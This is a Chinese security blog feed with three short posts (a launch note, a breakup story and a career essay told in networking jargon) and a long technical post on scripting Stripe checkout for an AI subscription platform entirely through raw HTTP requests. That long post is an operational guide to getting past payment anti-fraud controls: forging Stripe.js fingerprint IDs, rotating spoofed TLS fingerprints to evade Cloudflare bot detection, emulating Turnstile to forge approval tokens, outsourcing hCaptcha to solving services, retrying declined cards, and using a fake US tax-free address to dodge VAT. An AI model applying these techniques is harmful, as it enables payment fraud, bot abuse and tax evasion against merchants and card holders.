Posts on 逍遥笔记

Hello World | 开启 Web 渗透测试之旅

Sun, 01 Mar 2026 08:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

Hello World | 开启 Web 渗透测试之旅

欢迎来到我的网络安全技术博客！

🎉 博客启用

本站正式启用，专注于 Web 渗透测试、漏洞复现与安全防御技术分享。

📝 博客定位

Web 渗透测试 - 实战技巧与案例分析
漏洞复现 - 最新 CVE 漏洞深度解析
安全防御 - 加固方案与最佳实践
工具教程 - Nuclei、SQLMap、BurpSuite 等

🎯 内容方向

1. 漏洞复现系列

Log4Shell (CVE-2021-44228)
ProxyShell (CVE-2021-34473)
SSRF/XXE/CSRF 等常见 Web 漏洞

2. 工具教程系列

Nuclei 模板编写
SQLMap 高级用法
BurpSuite 实战技巧

3. SRC 挖洞经验

信息收集方法论
漏洞挖掘思路
报告撰写技巧

📚 关于我

方向: Web 安全、渗透测试、漏洞研究

⚠️ 免责声明

所有技术内容仅用于：

✅ 安全研究与学习
✅ 授权渗透测试
✅ 技术交流分享

禁止用于：

❌ 未授权攻击
❌ 非法用途
❌ 商业牟利

2026-03-03 | 博客正式启用

404 Not Found - 当爱情遭遇渗透测试

Sat, 28 Feb 2026 14:43:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

404 Not Found - 当爱情遭遇渗透测试

用网络安全术语诠释一段失败的感情从 HTTPS 到 APT 攻击从防火墙到 0day 漏洞原来最痛的漏洞，永远在心防

1. 初始连接 - HTTPS 握手

第一次遇见你，像是在建立 HTTPS 连接。

我小心翼翼地发送 Client Hello，期待你的 Server Hello 响应。

TLS 握手成功，加密通道建立，我以为这次连接会持久稳定。

2. 防火墙策略 - 心防

你的心里有一道防火墙，规则配置得极其严格：

iptables -A INPUT -p tcp --dport love -j DROP
iptables -A INPUT -s my_heart -j REJECT

我尝试各种方式绕过：

SYN 扫描 → 试探你的态度
ACK 扫描 → 确认你的心意
XMAS 扫描 → 展示我的真心

但所有包都被丢弃，返回的只有冰冷的 Connection Reset。

3. 漏洞挖掘 - 寻找突破口

我开始像渗透测试一样挖掘你的漏洞：

信息收集 - 了解你的喜好
威胁建模 - 分析你的性格
漏洞扫描 - 寻找你的弱点
渗透攻击 - 尝试走进你的心

却发现你的心防固若金汤，没有 SQL 注入，没有 XSS，没有 CSRF，连一个可用的 0day 都没有。

4. APT 攻击 - 持久化渗透

我不甘心，决定发起 APT 攻击：

阶段 1: 鱼叉式邮件 → 每天关心问候
阶段 2: 水坑攻击 → 制造偶遇机会
阶段 3: 权限提升 → 想成为你的特别
阶段 4: 持久化 → 想在你心里扎根

但你的安全运营中心（SOC）太强大，所有异常行为都被检测，所有入侵尝试都被阻断。

5. 404 Not Found - 连接失败

最终，我收到了你的响应：

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 0
Connection: close

<!-- 你爱的人不是我 -->

404 Not Found 你爱的人，不是我。

403 Forbidden 我的爱，被禁止访问。

500 Internal Server Error 我的心，内部服务器错误。

6. 日志分析 - 事后审计

翻看我们的聊天记录，像分析安全日志一样：

[2026-01-15 10:30:00] INFO: 第一次聊天，响应时间 200ms
[2026-01-20 14:20:00] INFO: 约会邀请，状态码 200 OK
[2026-02-01 09:00:00] WARN: 回复变慢，延迟 5000ms
[2026-02-10 16:30:00] ERROR: 消息未读，状态码 404
[2026-02-14 00:00:00] CRITICAL: 表白被拒，状态码 403

日志不会说谎，你的冷淡早有迹可循，只是我一直选择忽略告警。

7. 漏洞报告 - 感情总结

漏洞名称: 单向情感依赖 漏洞类型: 逻辑漏洞 严重等级: Critical CVSS 评分: 10.0

影响范围:

我的心理防线完全崩溃
情感系统遭受永久性损伤
信任机制需要重建

修复建议:

时间是最好的补丁
新欢是最强的防火墙
工作是最有效的隔离策略

8. 安全加固 - 自我修复

经历这次"安全事件"，我决定加固自己：

更新补丁 - 学习情感管理知识
配置 WAF - 建立情感过滤规则
启用 MFA - 多重验证真心
定期审计 - 反思感情中的问题
备份策略 - 不再把所有情感存放在一处

9. 渗透测试总结

项目: 爱情渗透测试状态: 失败原因: 目标过于安全，无法攻破

收获:

了解了什么是真正的爱
学会了如何保护自己
明白了不是所有努力都有回报

建议: 下次渗透测试前，先确认目标是否允许测试。未经授权的渗透，不仅是技术问题，更是道德问题。

10. 最后的响应

HTTP/1.1 301 Moved Permanently
Location: https://better-future.com/love
Connection: close

<!-- 你已永久重定向到更好的未来 -->
<!-- 而我，留在 404 的页面里 -->

2026-02-28 | 谨以此文献给所有在爱情中受挫的安全从业者

标签: #情感 #安全 #渗透测试 #404 #技术感悟

502 Bad Gateway - 当理想遭遇现实

Fri, 27 Feb 2026 09:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

502 Bad Gateway - 当理想遭遇现实

用运维术语诠释理想与现实的碰撞

架构设计 - 理想的蓝图

刚毕业那年，我画了一张完美的架构图：

 负载均衡器 (Nginx)
 │
 ┌─────────┼─────────┐
 │ │ │
 后端 1 后端 2 后端 3
 (理想) (理想) (理想)

我以为人生会像高可用集群一样有冗余、有备份、有故障转移。

但现实给了我一个 502 Bad Gateway。

上游服务器 - 现实的崩溃

upstream ideal_backend {
 server 192.168.1.10:8080 weight=5; # 我的努力
 server 192.168.1.11:8080 weight=3; # 我的坚持
 server 192.168.1.12:8080 weight=2; # 我的期待
}

我以为配置了重试机制就能万无一失，但现实是：

所有上游服务器都挂了。

错误日志

[error] upstream prematurely closed connection
[error] connect() failed (111: Connection refused)
[crit] no live upstreams while connecting to upstream
[alert] all backend servers are down

修复方案

# 1. 检查后端服务状态
systemctl status backend

# 2. 查看后端日志
journalctl -u backend -f

# 3. 重启服务
systemctl restart backend

# 4. 验证健康检查
curl -I http://localhost:8080/health

人生感悟

502 不是终点，而是重新架构的起点。

修复步骤:

接受现实（后端确实挂了）
分析原因（为什么挂了）
修复问题（重启或重构）
添加监控（防止再次发生）

geo_target: “cn”—

2026-02-27 | 谨以此文献给所有在理想路上受挫的人

Stripe 协议支付自动化深度拆解：从 HAR 抓包到纯 API 全链路实现

Sun, 16 Aug 2026 22:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 免责声明：本文仅供安全研究与技术学习。文中描述的技术手段仅用于分析 Stripe 支付协议的工作原理，帮助支付系统开发者理解安全边界。请勿将相关技术用于任何未授权的操作。

前言

做过 SaaS 订阅的人都知道，Stripe 是全球最主流的支付处理商。几乎所有主流 AI 平台——从对话类到图像类——都用 Stripe 处理信用卡支付。

但很少有人去研究 Stripe Checkout 背后的协议细节。大多数人的认知停留在"调一下 API、跳个 Checkout 页面、信用卡扣完款就行了"。

实际上，Stripe 的 Checkout Session 协议远比你想象的复杂。从 checkout_ui_mode 的 custom 与 hosted 两种模式，到 ConfirmationToken 的创建机制，再到 PaymentIntent 的 requires_action 状态下 3DS 验证挑战的处理——每一步都有大量的协议细节、反欺诈检测和时序要求。

今天我把这些全拆开。从 HAR 抓包出发，逐层剖析 Stripe 协议支付的完整链路，并提供 5 套不同技术栈的实现源码。

零、方法论：如何逆向 Stripe 支付协议

在开始之前，先讲方法论。所有协议支付的起点都是 HAR 抓包。

0.1 什么是 HAR 文件

HAR（HTTP Archive）是浏览器开发者工具导出的完整 HTTP 交互记录。包含每个请求的 URL、Headers、Body、Response，以及精确的时序信息。

打开 Chrome DevTools → Network → 完成一次真实支付 → 右键 → Save all as HAR with content。

这个 HAR 文件就是你的 ground truth。所有协议支付的字段、值、顺序、编码方式，都以 HAR 为准。代码实现、第三方文档、安全审计报告——全部都可能过时或有误，只有 HAR 是当时浏览器真实发出的请求。

0.2 HAR 分析流程

筛选关键域名：api.stripe.com、m.stripe.com、checkout.stripe.com、平台 API 域名
按时间排序：找出完整的请求链路
对比成功和失败：同一流程的成功 HAR 和失败 HAR，diff 出关键差异
提取稳定字段：跨多个 HAR 都一致的值可以硬编码
标记动态字段：每次不同的值（Session ID、Token、时间戳）需要运行时获取

0.3 经过验证的 HAR 请求链路

通过分析多个成功支付的 HAR 文件，提取出标准的浏览器 Checkout 请求序列：

1. POST /api/v1/payments/checkout → 创建 session (oaics_xxx)
2. GET stripe/v1/elements/sessions → 获取 Elements 配置 (deferred_intent)
3. POST /api/v1/payments/checkout/taxes → 税务重算 (US免税地址可消除VAT)
4. GET stripe/v1/elements/sessions → 更新后的 amount
5. POST stripe/v1/confirmation_tokens → 卡号 → ctoken_xxx
6. POST /api/v1/payments/checkout/confirm → 平台确认 → pi_xxx client_secret
7. POST stripe/v1/payment_intents/{pi}/confirm → Stripe 侧扣款
8. GET /checkout/verify → redirect_status=succeeded

每一步都有大量细节。下面逐一拆解。

一、为什么要做"协议支付"

先搞清楚一个概念：什么是协议支付（Protocol Payment）？

浏览器支付：用户打开 Stripe Checkout 页面 → 手动填写信用卡号 → 点击支付 → 完成。这是正常流程。

协议支付：用纯 HTTP API 请求模拟浏览器的完整操作链路，包括 Stripe 的内部 API（不是官方 SDK 暴露的那些），直接在协议层完成支付，不需要浏览器。

为什么要这么做？

自动化需求：批量管理订阅时，手动操作不现实
性能需求：浏览器（Puppeteer/Playwright）启动慢、占内存大、不稳定；协议支付 <5s 完成
环境隔离：服务端运行，不需要 GUI 环境
学习价值：深入理解支付系统的工作原理

二、Stripe Checkout Session 的两种模式

Stripe Checkout 有两种 checkout_ui_mode，这是整个协议支付的第一个分叉点：

2.1 Custom 模式 (`oaics_` 前缀)

POST /payments/checkout
{
 "checkout_ui_mode": "custom",
 "currency": "PHP",
 "plan_type": "plus"
}
→ {"checkout_session_id": "oaics_xxx", "stripe_publishable_key": "pk_live_..."}

Custom 模式返回的 Session ID 以 oaics_ 开头。这种模式下：

前端需要自己挂载 Stripe Elements
通过 Stripe.js 创建 ConfirmationToken
调用平台的 confirm 接口完成支付
直接在 Stripe API 上确认 PaymentIntent

2.2 Hosted 模式 (`cs_live_` 前缀)

POST /payments/checkout
{
 "checkout_ui_mode": "hosted",
 "currency": "PHP",
 "plan_type": "plus"
}
→ {"checkout_session_id": "cs_live_xxx", "url": "https://checkout.stripe.com/..."}

Hosted 模式返回 cs_live_ 前缀的 Session。这种模式下：

Stripe 托管整个 Checkout 页面
走 Stripe Payment Page 的内部协议
流程更复杂，涉及 ppage_ 初始化、elements Session、inline_confirm
需要额外处理平台侧的 approve 操作

两种模式的选择取决于平台的 billing 配置和你的需求。一般来说：

如果平台的计费货币与你的信用卡货币一致 → Custom 模式更简单
如果存在货币不匹配（比如用美元卡付菲律宾比索订阅）→ 可能只有 Hosted 模式可用

2.3 决定性参数：`checkout_ui_mode`

通过大量测试验证，决定返回 oaics_ 还是 cs_live_ 的唯一参数就是 checkout_ui_mode。

// 返回 oaics_ 的请求
{
 "entry_point": "all_plans_pricing_modal",
 "plan_name": "basic_plan",
 "billing_details": {"country": "PH", "currency": "PHP"},
 "checkout_ui_mode": "custom"
}

// 返回 cs_live_ 的请求
{
 "plan_name": "basic_plan",
 "billing_details": {"country": "PH", "currency": "PHP"},
 "checkout_ui_mode": "hosted",
 "cancel_url": "https://platform.example.com/#pricing",
 "locale": "zh-CN"
}

注意差异：

entry_point：Custom 模式有，Hosted 模式没有
cancel_url：Hosted 模式需要（Stripe 托管页面的返回按钮用）
locale：Hosted 模式建议传（影响 Stripe 页面语言）

Hosted 模式的响应多一个 url 字段——这是 Stripe 托管页面的完整 URL，可以直接在浏览器中打开。

2.4 `_stripe_version` 的版本差异

这是一个极其容易忽略的细节。两种模式使用不同的 _stripe_version：

模式	`_stripe_version` 值
Custom (oaics_)	`2025-03-31.basil`
Hosted (cs_live_)	`2025-03-31.basil; checkout_server_update_beta=v1; checkout_manual_approval_preview=v1`

Hosted 模式的版本串后面带了两个 beta flag。如果在 cs_live_ 请求中用了 Custom 的短版本串，Stripe 会返回字段缺失或行为不一致。

2.5 两种模式的完整字段对比

字段	Custom (oaics_)	Hosted (cs_live_)
确认端点	`payment_intents/{pi}/confirm`	`payment_pages/{cs_live}/confirm`
顶层 `source`	`elements`	`checkout`
顶层 `version`	`2021`	`custom`
`selection_flow`	`merchant_specified`	`automatic`
`elements_session_client`	无	有（8 个子字段）
`elements_options_client`	无	有（2 个子字段）
`link_brand`	无	`link`
`checkout_config_id`	无	有（两层不同值）
hCaptcha 位置	`pmd[radar_options][hcaptcha_token]`	`passive_captcha_token`（顶层）
`init_checksum`	无	有
`js_checksum`	无	有
`rv_timestamp`	无	有
`expected_amount`	无	有

这两套字段集完全不能混用。这也是很多人协议支付做不通的原因——用了 oaics_ 的字段去调 cs_live_ 的接口，反过来也一样。

三、Custom 模式协议流程详解

Custom 模式是最干净的协议支付路径。完整流程 8 步：

┌──────────────────────────────────────┐
│ 1. 刷新 Session（获取最新 Token） │
│ 2. 查询账号信息（确认当前订阅状态） │
│ 3. 获取定价信息（币种+金额） │
│ 4. 创建 Checkout Session │
│ 5. 更新税务信息（Billing 地址） │
│ 6. 创建 ConfirmationToken（卡号→Token）│
│ 7. 确认支付（Confirm Checkout） │
│ 8. 确认 PaymentIntent（Stripe 侧） │
└──────────────────────────────────────┘

3.1 创建 ConfirmationToken

这是协议支付最核心的一步。浏览器里，Stripe.js 会在 iframe 中收集卡号，然后调用 Stripe 的内部 API 创建一个 ConfirmationToken（ctoken_ 前缀）。

协议支付需要直接模拟这个请求：

POST https://api.stripe.com/v1/confirmation_tokens
Content-Type: application/x-www-form-urlencoded

type=card
&payment_method_data[type]=card
&payment_method_data[card][number]=4242424242424242
&payment_method_data[card][exp_month]=12
&payment_method_data[card][exp_year]=2029
&payment_method_data[card][cvc]=123
&payment_method_data[billing_details][name]=John Doe
&payment_method_data[billing_details][address][country]=US
&payment_method_data[billing_details][address][postal_code]=97201
&key=pk_live_xxx
&_stripe_version=2025-03-31.basil

几个关键细节：

key 必须是平台的 Stripe Publishable Key，不是你自己的
_stripe_version 必须匹配当前 Stripe.js 的 API 版本
需要传 Stripe.js 的指纹参数：guid、muid、sid、time_on_page
Referer 必须是平台域名，Stripe 会校验

卡号格式细节

HAR 验证发现，浏览器发送的卡号带空格（4004 1641 0185 9397），而不是纯数字。不过 Stripe 接受两种格式。

guid/muid/sid 格式

这三个指纹 ID 的格式比很多人以为的更复杂。HAR 验证的正确格式是 42 字符：

guid = randomUUID() + randomHex(6)
 = xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx + 6位hex
 = 36字符UUID + 6字符 = 42字符

例如：a1b2c3d4-e5f6-4789-abcd-ef0123456789abc123

有些实现用 32 位纯 hex 也能工作，但 HAR 中浏览器发送的是 42 字符格式。

Attribution 元数据（两层结构）

confirmation_tokens 请求中有一组 client_attribution_metadata 字段，这些是 Stripe 用来追踪支付集成来源的元数据：

payment_user_agent = stripe.js/...
client_session_id = <UUID> # 每 session 唯一
merchant_integration_source = elements # ← oaics_ 固定 "elements"
merchant_integration_version = 2021
merchant_integration_subtype = payment-element
payment_intent_creation_flow = deferred
payment_method_selection_flow = merchant_specified # ← oaics_ 固定
additional_elements = [expressCheckout, payment, address]

这些字段在 confirmation_tokens 请求中出现两次——一次在 payment_method_data 内部，一次在顶层。两层的值大部分相同，但 merchant_integration_source 在 confirm 请求中变成 l1。这个细节从 HAR 中才能发现。

请求头

HAR 中 Stripe API 请求的完整请求头：

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Origin: https://js.stripe.com
Referer: https://js.stripe.com/
Sec-CH-UA: "Not=A?Brand";v="99", "Chromium";v="151"
Sec-CH-UA-Mobile: ?0
Sec-CH-UA-Platform: "Windows"
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Language: en-US,en;q=0.9

注意 Accept-Language 必须存在。这是纯协议支付跑通的关键 bug 之一——缺少这个 header 会导致 Stripe 返回非预期的响应格式。

返回值：

{
 "id": "ctoken_1xxx",
 "type": "card",
 "payment_method_preview": {
 "card": {
 "brand": "visa",
 "last4": "4242"
 }
 }
}

3.2 确认 Checkout

拿到 ConfirmationToken 后，调用平台的 confirm 接口：

POST /api/v1/payments/checkout/confirm
{
 "checkout_session_id": "oaics_xxx",
 "confirmation_token": "ctoken_1xxx"
}

这一步平台会拿着你的 token 去 Stripe 创建 PaymentIntent 并尝试扣款。

如果一切顺利（卡余额充足、无 3DS 要求），PaymentIntent 直接变成 succeeded，订阅激活。

如果遇到 3DS 验证，流程会更复杂——我们在第五节讲。

3.3 Elements Session — 获取支付配置

在创建 ConfirmationToken 之前，需要先调用 Stripe 的 elements/sessions API 获取支付配置信息。这一步在 HAR 中被调用两次——一次在税务更新前，一次在税务更新后。

GET https://api.stripe.com/v1/elements/sessions?deferred_intent[mode]=subscription
 &deferred_intent[amount]=98214
 &deferred_intent[currency]=php
 &deferred_intent[setup_future_usage]=off_session
 &deferred_intent[payment_method_types][0]=card
 &type=deferred_intent
 &key=pk_live_xxx
 &_stripe_version=2025-03-31.basil

关键返回值：

elements_session_id：elements_session_xxx，后续 confirm 请求需要
customer_session_client_secret：cuss_xxx，客户会话密钥
payment_method_configuration：pmc_xxx，支付方式配置 ID

3.4 税务地址优化 — US 免税地址消除 VAT

这是一个实际操作中极其重要的技巧。

很多 SaaS 平台默认按账号注册地收税。比如菲律宾区的订阅，标价 ₱982.14 但实际会加 12% VAT 变成 ₱1,100+。

解决方案：在 taxes API 调用中使用美国免税州地址。

POST /api/v1/payments/checkout/taxes
{
 "checkout_session_id": "oaics_xxx",
 "billing_details": {
 "name": "John Doe",
 "address": {
 "country": "US",
 "state": "OR",
 "city": "Portland",
 "postal_code": "97201",
 "line1": "123 Main St"
 }
 }
}

美国有 5 个无销售税的州：

Oregon (OR) — 无销售税
Montana (MT) — 无销售税
Delaware (DE) — 无销售税
New Hampshire (NH) — 无销售税
Alaska (AK) — 大部分地区无销售税

HAR 验证：使用 US 地址后 tax=0，最终金额保持 ₱982.14。

重要：taxes 和后续 confirmation_tokens 中的地址必须一致。同一个 session 内选择一个地址后全程复用。

3.5 PaymentIntent 确认 — Stripe 侧扣款

平台的 /confirm 返回 client_secret（格式：pi_xxx_secret_xxx）后，需要调用 Stripe 的 payment_intents/confirm 完成实际扣款：

POST https://api.stripe.com/v1/payment_intents/{pi_id}/confirm

return_url = https://platform.example.com/checkout/verify?stripe_session_id=oaics_xxx
confirmation_token = ctoken_xxx
key = pk_live_xxx
_stripe_version = 2025-03-31.basil
client_secret = pi_xxx_secret_xxx
client_attribution_metadata[client_session_id] = <UUID>
client_attribution_metadata[merchant_integration_source] = l1

注意这里 merchant_integration_source 变成了 l1，不再是 elements。

PI 拒卡重试

HAR 验证了一个重要特性：同一个 PaymentIntent 被拒卡后可以用新的 ConfirmationToken 重试。

流程：

第一张卡 → generic_decline → PI 状态 requires_payment_method
创建新的 confirmation_token（用另一张卡）
再次调用 payment_intents/confirm
第二张卡 → succeeded

这意味着拒卡不需要重建整个 Checkout Session，只需要换卡重建 token。

协议支付需要严格的 Cookie 隔离。一个常见的 bug 是平台的 Cookie 被发送到 Stripe API，或反过来。

最佳实践：使用两个独立的 HTTP 客户端：

# 平台客户端 — 带 Cookie（session token）
platform_http = HttpClient(cookies_enabled=True)
platform_http.set_cookie("__Secure-platform-auth", session_token)

# Stripe 客户端 — 不带 Cookie
stripe_http = HttpClient(cookies_enabled=False)

绝不让 Stripe 客户端发送平台 Cookie，也不要让平台客户端发送 Stripe 的 Cookie。

四、Hosted 模式协议流程详解

Hosted 模式（cs_live_）的流程更复杂，因为需要模拟 Stripe Payment Page 的完整内部协议。

┌────────────────────────────────────────────────┐
│ 1. 创建 Checkout (hosted) → cs_live_ session │
│ 2. 更新税务 │
│ 3. 分配信用卡 │
│ 4. 初始化 Payment Page → ppage_ token │
│ 5. 获取 Elements Session │
│ 6. 创建 ConfirmationToken │
│ 7. 确认 Checkout (内部 confirm) │
│ 8. 平台 Approve 操作 │
│ 9. 轮询 PaymentIntent 状态 │
│ 10. 处理 3DS Challenge（如果需要） │
│ 11. 验证最终状态 │
└────────────────────────────────────────────────┘

4.1 Payment Page 初始化

GET https://checkout.stripe.com/api/payment-page/{cs_live_xxx}/init
→ {"ppage_token": "ppage_xxx", "merchant_name": "..."}

这是 Hosted 模式独有的。返回一个 ppage_ token，后续所有 Stripe Payment Page API 都需要这个 token。

4.2 Elements Session（Hosted 模式特殊字段）

Hosted 模式的 elements/sessions 请求比 Custom 模式多出很多字段：

POST https://api.stripe.com/v1/elements/sessions

deferred_intent[mode] = subscription
deferred_intent[amount] = 98214
deferred_intent[currency] = php
deferred_intent[setup_future_usage] = off_session
deferred_intent[payment_method_types][0] = card
deferred_intent[payment_method_configuration][id] = pmc_xxx
currency = php
elements_init_source = custom_checkout
referrer_host = platform.example.com
stripe_js_id = <UUID>
locale = zh
type = deferred_intent
checkout_session_id = cs_live_xxx
_stripe_version = 2025-03-31.basil; checkout_server_update_beta=v1; ...

关键差异：

需要传 checkout_session_id（Custom 模式不需要）
elements_init_source 是 custom_checkout（不是 elements）
需要传 referrer_host、stripe_js_id、locale
使用长版本的 _stripe_version

返回值中有一个重要字段 passive_captcha.rqdata——这是 hCaptcha Enterprise 的 rqdata，后续 confirm 如果触发 challenge 需要用到。

4.3 Hosted 模式的 Confirm 请求

cs_live_ 的 confirm 走的是 payment_pages/confirm，不是 payment_intents/confirm：

POST https://api.stripe.com/v1/payment_pages/{cs_live_xxx}/confirm

这个请求的 body 字段比 Custom 模式多很多：

elements_session_client[client_betas][0] = custom_checkout_server_updates_1
elements_session_client[client_betas][1] = custom_checkout_manual_approval_1
elements_session_client[elements_init_source] = custom_checkout
elements_session_client[referrer_host] = platform.example.com
elements_session_client[session_id] = elements_session_xxx
elements_session_client[stripe_js_id] = <UUID>
elements_session_client[locale] = zh
elements_session_client[is_aggregation_expected] = false
elements_options_client[saved_payment_method][enable_save] = auto
elements_options_client[saved_payment_method][enable_redisplay] = auto
init_checksum = <checksum>
js_checksum = <checksum>
rv_timestamp = <timestamp>
expected_amount = 98214
expected_payment_method_type = card
version = <build_hash>

js_checksum 和 rv_timestamp 是从 Stripe.js 部署状态动态提取的，init_checksum 来自 init 响应。

4.4 Approve 机制与 Sentinel Token

Hosted 模式下，payment_pages/confirm 成功后，状态不会直接变成 succeeded，而是进入 requires_approval（HAR 中 confirm 返回 status=open）。这时需要调用平台的 approve 接口：

POST /api/v1/payments/checkout/approve
Authorization: Bearer {access_token}
X-Vendor-Challenge-Token: {sentinel_token}

Sentinel Token 结构

这里的 challenge_token 是一个编码后的 JSON 对象，内部包含多个通过算力证明（PoW）和 Turnstile 验证生成的字段：

{
 "p": "gAAAAAB...", // 主负载（加密后的 PoW + session 信息）
 "c": "...", // enforcement_token（基于 FNV-1a 的算力证明结果）
 "id": "<UUID>", // 一次性标识
 "flow": "platform_checkout", // 标记来源流程
 "t": "<turnstile_dx_token>" // 4000+ 字符的 Turnstile 验证 token
}

t 字段是核心——如果为空字符串，approve 立即返回 blocked。它来自 Cloudflare Turnstile 的隐式挑战验证（不是肉眼可见的验证码）。

Sentinel Token 生成流程

完整的 Sentinel 生成需要两个组件协作：

1. 生成 requirements_token（本地 seed + difficulty "0"）
2. POST sentinel.platform.com/backend-api/sentinel/req
 → 返回 {turnstile: {dx: "..."}, ...}
3. 用 server seed 生成 enforcement_token（FNV-1a 算力证明）
4. 在 Node.js VM 中执行 Turnstile SDK（需要 jsdom 模拟 DOM 环境）
 → 返回 turnstile token（~4388 字符）
5. 组装 JSON → Base64 → 设为请求头

关键点：

PoW 使用 FNV-1a 哈希算法，difficulty 对 checkout 流程通常是 “0”（即几乎不需要算力）
Turnstile SDK 必须在真实的 DOM 环境中执行——简单的字符串拼接无法通过验证
实际生产中需要 Node.js + jsdom 来执行官方 Turnstile VM
SDK 代码需要定期更新（随平台版本迭代）

Approve 的正确时机

关键发现：Approve 不应该主动调用。正确的流程是 fall-through：

confirm → status=open, requires_approval
 ↓
 等待 Stripe 回调
 ↓
 平台自动完成 approve（不需要客户端调）
 ↓
 poll payment_page → PI 出现
 ↓
 可能 requires_action → verify_challenge
 ↓
 poll 到 succeeded → 完成

但某些边缘情况下（平台回调未触发），客户端需要手动 approve。此时 Sentinel token 是必须的。

Approve 是一次性操作，同一 session 不可重复
如果 t 字段为空或格式错误 → 返回 blocked → session 作废
成功的 approve 返回 {"result":"approved"}

五、3DS 验证挑战

当 Stripe 判断交易需要额外验证时，PaymentIntent 会进入 requires_action 状态，附带 3DS challenge 信息。

5.1 Challenge 类型

Stripe 使用 hCaptcha Enterprise 作为 3DS 验证手段：

{
 "status": "requires_action",
 "next_action": {
 "type": "verify_with_challenge",
 "verify_with_challenge": {
 "url": "https://challenges.stripe.com/...",
 "challenge_type": "hcaptcha"
 }
 }
}

5.2 verify_challenge 完整请求格式

HAR 中验证的 verify_challenge 完整请求：

POST https://api.stripe.com/v1/payment_intents/{pi_id}/verify_challenge

captcha_response = {hcaptcha_token} # P0开头的长字符串
captcha_vendor_name = hcaptcha # 固定值
captcha_sitekey = xxxxxxxx-xxxx-xxxx # Stripe 的 hCaptcha sitekey
expected_amount = 98214 # 交易金额
expected_currency = php # 币种
key = pk_live_xxx # Publishable Key
_stripe_version = 2025-03-31.basil; checkout_server_update_beta=v1; ...
client_secret = pi_xxx_secret_xxx # PI 的 client_secret

注意：

字段名是 captcha_response 而不是 challenge_response
需要同时传 captcha_vendor_name 和 captcha_sitekey
需要传 expected_amount/expected_currency 做一致性校验
使用长版本 _stripe_version（与 Hosted 模式一致）

5.3 hCaptcha Enterprise 的特殊性

Stripe 使用的不是普通 hCaptcha，而是 hCaptcha Enterprise。区别：

有 rqdata 参数：普通 hCaptcha 不需要 rqdata，Enterprise 必须传
sitekey 是 Stripe 专有的：从 elements/sessions 响应的 passive_captcha 字段中提取
invisible 模式：浏览器里看不到验证码图片，但后台在做风控评估

# 从 elements_session 响应中提取
rqdata = elements_session["passive_captcha"]["rqdata"]
sitekey = elements_session["passive_captcha"]["sitekey"]

5.4 时效性问题

hCaptcha token 有时效性——浏览器里 ~4 秒解出即有效，但远程打码服务可能需要 30-120 秒。如果超时：

verify_challenge 返回 payment_intent_authentication_failure
但 PI 状态仍然是 requires_action——可以重新 verify_challenge

解决方案分级：

最优：本地 headless 浏览器解 hCaptcha（<5s，成功率 95%+）
次优：支持 Enterprise rqdata 的快速打码 API（如 YesCaptcha，~15s）
兜底：如果 PI 已经进入 requires_action，可以循环重试 verify_challenge（每次用新 captcha token）

5.5 3DS vs hCaptcha 的区别

重要澄清：Stripe 的 verify_with_challenge 并非传统银行 3DS 验证（3D Secure）。它是 Stripe 自有的风控挑战，使用 hCaptcha 作为人机验证手段。

真正的银行 3DS（如 Visa Secure）会打开银行页面要求输入 OTP/密码，这个在纯协议支付中无法绕过——但使用虚拟信用卡（VCC）通常不会触发银行 3DS，只会触发 Stripe 自身的 hCaptcha challenge。

六、TLS 指纹对抗

纯 HTTP 请求最大的挑战不是协议逻辑，而是 TLS 指纹。

Stripe 和 Cloudflare 都会检查 TLS Client Hello 的指纹（JA3/JA4），如果发现你的 TLS 握手特征不像浏览器，直接返回 403/429。

6.1 指纹伪装

Python 项目使用 curl_cffi 库，支持模拟多种浏览器的 TLS 指纹：

PROFILES = [
 ("chrome131", "Mozilla/5.0 ... Chrome/131.0"),
 ("chrome124", "Mozilla/5.0 ... Chrome/124.0"),
 ("safari18", "Mozilla/5.0 ... Safari/605.1"),
 ("firefox117", "Mozilla/5.0 ... Firefox/117.0"),
]

Node.js 项目使用 CycleTLS：

import initCycleTLS from 'cycletls';
const cycleTLS = await initCycleTLS();
const response = await cycleTLS(url, {
 ja3: '771,4865-4866-4867...',
 userAgent: 'Mozilla/5.0 ...'
});

6.2 指纹轮换策略

当遇到 403/429 时，自动切换到下一个 TLS 指纹配置：

class TLSFingerprintManager:
 def rotate_on_failure(self):
 self.exclude_current()
 return self.pick_next()

最多重试 3 次，每次使用不同的浏览器指纹。

6.3 TLS 指纹与 User-Agent 一致性

一个常见错误是 TLS 指纹和 User-Agent 不匹配。比如用 Chrome 131 的 TLS 指纹配置但 User-Agent 写的是 Chrome 124，Cloudflare 的 bot detection 会立即发现这种不一致。

正确做法：TLS profile 和 UA 必须成对配置：

PROFILES = [
 {
 "tls": "chrome131",
 "ua": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/131.0.0.0 Safari/537.36",
 "sec_ch_ua": '"Not=A?Brand";v="99", "Chromium";v="131"'
 },
 {
 "tls": "safari18",
 "ua": "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) ... Safari/605.1.15",
 "sec_ch_ua": None # Safari 不发 sec-ch-ua
 }
]

6.4 HTTP 协议版本

另一个细节：Stripe 的 API 请求在浏览器中走 HTTP/2，但 payment_intents/confirm 在某些实现中用 HTTP/1.1 反而更稳定。

HAR 中观察到：

confirmation_tokens：HTTP/2
payment_intents/confirm：可以 HTTP/1.1
payment_pages/confirm：HTTP/2

使用 curl_cffi 时默认走 HTTP/2（如果服务端支持），CycleTLS 需要在选项中显式指定。

七、Stripe.js 指纹参数

Stripe 的 confirmation_tokens 和 payment_intents/confirm 接口都需要一组指纹参数。这些参数由 Stripe.js 在前端收集，协议支付需要正确模拟：

参数	含义	生成方式
`guid`	全局唯一 ID	UUID + 6位 hex = 42 字符（见 3.1 节）
`muid`	设备 ID	同 guid 格式，42 字符
